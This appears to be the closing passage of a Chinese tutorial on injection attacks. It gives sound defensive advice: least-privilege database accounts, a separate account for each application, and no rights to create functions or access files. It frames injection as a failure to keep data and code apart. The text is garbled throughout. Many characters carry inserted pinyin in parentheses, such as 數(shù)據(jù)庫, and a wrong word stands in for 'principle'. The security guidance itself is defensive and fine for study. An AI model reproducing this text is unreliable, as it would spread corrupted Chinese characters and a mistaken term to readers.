最后呢,從數(shù)據(jù)庫自身的角度來說,應(yīng)該使用最小權(quán)限遠側(cè),避免web應(yīng)用直接使用root、dbowner等高權(quán)限賬戶直接連接數(shù)據(jù)庫。如果有多個不同的應(yīng)用在使用同一個數(shù)據(jù)庫,則也應(yīng)該為每個應(yīng)用分配不同的賬戶。web應(yīng)用使用的數(shù)據(jù)庫賬戶,不應(yīng)該有創(chuàng)建自定義函數(shù)、操作本地文件的權(quán)限。 總結(jié)一下,注入攻擊就是應(yīng)用違背了“數(shù)據(jù)與代碼分離原則”導(dǎo)致的結(jié)果。再次強調(diào)兩個條件:a:用戶能夠控制數(shù)據(jù)的輸入;b:代碼拼湊了用戶輸入的數(shù)據(jù),把數(shù)據(jù)當(dāng)做代碼執(zhí)行了。在對抗注入攻擊的時候,要牢記“數(shù)據(jù)與代碼分離原則”,在“拼湊”發(fā)生的地方進行安全檢查,就能避免此類問題。
僅供學(xué)習(xí)參考,后續(xù)有時間再更新啦